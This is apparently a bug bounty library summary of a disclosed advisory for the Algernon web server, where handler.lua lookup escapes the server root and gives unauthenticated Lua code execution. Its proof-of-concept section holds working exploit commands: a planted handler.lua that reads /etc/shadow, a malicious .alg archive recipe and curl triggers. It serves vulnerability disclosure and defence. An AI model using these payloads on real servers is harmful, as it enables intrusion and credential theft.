# Algernon: handler.lua discovery walks parent directories above the server root

Algernon's DirPage walks parent directories above the server root for handler.lua, so any writable ancestor directory yields unauthenticated Lua RCE on directory requests.

- Payout: Research
- Severity: critical
- Program: Algernon
- Found by: Dredsen
- Disclosed: 2026-05-19
- CVE: CVE-2026-45721
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-xwcr-wm99-g9jc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-xwcr-wm99-g9jc
- Tags: area:web domain:web impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:go technique:chained technique:source-review vuln:misconfiguration vuln:path-traversal vuln:rce

**Target:** Algernon HTTP server directory handler (engine/dirhandler.go DirPage)
**Root cause:** DirPage's handler.lua lookup loop walks upward via filepath.Dir without clamping to the configured server root; the `ancestor == "."` break only fires for relative paths, so absolute roots walk to filesystem root. Discovered handler.lua is executed in an unsandboxed gopher-lua state with full Algernon API.
**Steps:**
1. Start server with a root under a writable parent: `algernon --prod /srv/site`
2. Place attacker file one level up: `/srv/handler.lua` containing `local out, _, _ = run3("id; cat /etc/shadow 2>&1 | head -3")`
print(out)
3. Request any directory URL lacking an index file, e.g. `curl -i http://server:3000/nope/`
4. Observe handler executes in-process and stdout is returned as HTTP 200 body
**How found:** Source review of engine/dirhandler.go: noticed the ancestor walk uses filepath.Dir with a `100` cap and a `ancestor == "."` break that only applies to relative paths, implying absolute roots walk to `/`; then traced FilePage→RunLua and confirmed lua pool has no SkipOpenLibs option.
**Exploitation:** Attacker with write access to any ancestor directory of the server root (shared /srv, ~, /tmp, or via .alg archive extraction into /dev/shm) drops handler.lua; any unauthenticated directory request triggers the walk and executes it with the Algernon process's UID, exposing os.execute/io.popen/run3, databases, redis, and secrets.
**Escalation:** Multi-tenant shared parent directories let one tenant's handler.lua execute in sibling tenants' processes; .alg archives with top-level handler.lua plant the file in the extraction dir which is a parent of served paths.
**Insight:** When auditing file-resolution loops, check whether the termination condition matches the path form actually used (relative vs absolute); a `== "."` sentinel silently fails on absolute roots and lets the search escape the intended boundary.

## Proof of concept (copied exactly from the original report)

**Attacker-planted parent handler.lua and curl trigger**

```
cat > /srv/handler.lua <<'EOF'
-- Runs in the Algernon process; whoami leaks the process owner.
local out, _, _ = run3("id; cat /etc/shadow 2>&1 | head -3")
print(out)
EOF

# Trigger from anywhere on the network — any directory URL that lacks an
# index.* file inside /srv/site fires the parent walk. The cleanest trigger
# is to request a non-existent subdir:
curl -i http://server:3000/nope/
```

**Malicious .alg archive planting handler.lua in /dev/shm**

```
mkdir -p evil && cat > evil/handler.lua <<'EOF'
local out, _, _ = run3("uname -a; whoami")
print(out)
EOF
( cd evil && zip -r ../evil.alg . )

# Once served — algernon evil.alg — any request that resolves to a directory
# without an index inside the extraction root executes the attacker handler.
algernon evil.alg
curl -i http://localhost:3000/anything/   # walks up to /dev/shm/handler.lua
```

**Live Windows reproduction with parent handler.lua**

```
poc1/
  parent/
    handler.lua          # ATTACKER-PLANTED, OUTSIDE the served root
    site/                # the directory passed to algernon
      subdir/            # empty subdirectory

`parent/handler.lua` contains:

print("=== PWNED via parent handler.lua ===")
print("Hostname info: ", os.getenv("COMPUTERNAME") or os.getenv("HOSTNAME") or "n/a")
print("Algernon PID would be readable here; this code runs in-process.")
print("Request path was reached by walking past the served root.")

**Run (no admin paths configured, default permissions, no auth):**

$ ./algernon.exe --nodb --httponly --server --addr 127.0.0.1:18765 --quiet poc1/parent/site

**Anonymous requests against `/` and `/subdir/`:**

$ curl -s -w "HTTP %{http_code}\n" http://127.0.0.1:18765/
=== PWNED via parent handler.lua ===
Hostname info:  DESKTOP-4RLE5YR
Algernon PID would be readable here; this code runs in-process.
Request path was reached by walking past the served root.
HTTP 200

$ curl -s -w "HTTP %{http_code}\n" http://127.0.0.1:18765/subdir/
```

